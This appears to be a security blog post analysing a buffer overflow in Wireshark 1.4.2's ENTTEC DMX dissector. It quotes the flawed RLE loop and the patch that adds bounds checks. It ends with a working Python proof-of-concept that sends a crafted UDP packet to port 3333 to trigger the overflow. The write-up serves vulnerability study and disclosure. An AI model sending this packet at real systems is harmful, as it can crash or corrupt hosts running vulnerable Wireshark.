xorl %eax, %eax

This vulnerability was reported by “non-customers crew” and it affects 1.4.2 and probably other releases too. The susceptible code can be found at epan/dissectors/packet-enttec.c where the ENTTEC packet dissector resides. Here is the buggy routine:

static gint
dissect_enttec_dmx_data(tvbuff_t *tvb, guint offset, proto_tree *tree)
{
   ...
        static guint8 dmx_data[512];
        static guint16 dmx_data_offset[513]; /* 1 extra for last offset */
   ...
        if (length > 512)
                length = 512;

        if (type == ENTTEC_DATA_TYPE_RLE) {
                /* uncompres the DMX data */
                ui = 0;
                ci = 0;
                while (ci < length) {
                        v = tvb_get_guint8(tvb, offset+ci);
                        if (v == 0xFE) {
                                ci++;
                                count = tvb_get_guint8(tvb, offset+ci);
                                ci++;
                                v = tvb_get_guint8(tvb, offset+ci);
                                ci++;
                                for (i=0;i < count;i++) {
                                        dmx_data[ui] = v;
                                        dmx_data_offset[ui] = ci-3;
                                        ui++;
                                }
   ...
                dmx_data_offset[ui] = ci;
        } else {
   ...
        return offset;
}

So, if it’s dealing with a ‘ENTTEC_DATA_TYPE_RLE’ type of packet, it will enter a ‘while’ loop that will iterate as long as ‘ci’ is less than the packet’s length. Inside that loop we see that ‘ui’ is temporary used when a ’0xFE’ Byte is encountered to enter a separate ‘for’ loop and update the dmx_data[] and dmx_data_offset[] arrays.
However, dmx_data[] array has a static size of 512 Bytes and that’s why length isn’t allowed to be greater than this value but since there is no check for such cases in the copy loop above, a user could continue writing beyond buffer’s boundaries resulting in a buffer overflow. The patch to fix this bug was to add the missing check in the initial ‘while’ loop like this:

-		/* uncompres the DMX data */
+		/* uncompress the DMX data */
 		ui = 0;
 		ci = 0;
-		while (ci < length) {
+		while (ci < length && ui < 512) {
 			v = tvb_get_guint8(tvb, offset+ci);

As well as the secondary ‘for’ loop…

 				ci++;
-				for (i=0;i < count;i++) {
+				for (i=0;i < count && ui < 512;i++) {
 					dmx_data[ui] = v;

The “non-customers crew” also provided a PoC Python script which you can find here and it can be used to trigger the vulnerability.

#!/usr/bin/env python

# Wireshark ENTTEC DMX Data (UDP) Buffer Overflow PoC
# by non-customers crew in 2010
# http://rock-madrid.com/

import socket, sys

try:
  host = sys.argv[1]
except:
  print "usage: " + sys.argv[0] + " <host>"
  sys.exit(2)

port = 3333
addr = (host, port)

data  = "ESDD\x10\x20\x04"
data += "\x00\x0c"
data += "\xfe\xff\x41"
data += "\xfe\xff\x42"
data += "\xfe\xff\x43"
data += "\xfe\xff\x44"

udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
  udps.sendto(data, addr)
except:
  print "can't lookup host"
  sys.exit(1)

udps.close()
sys.exit(0)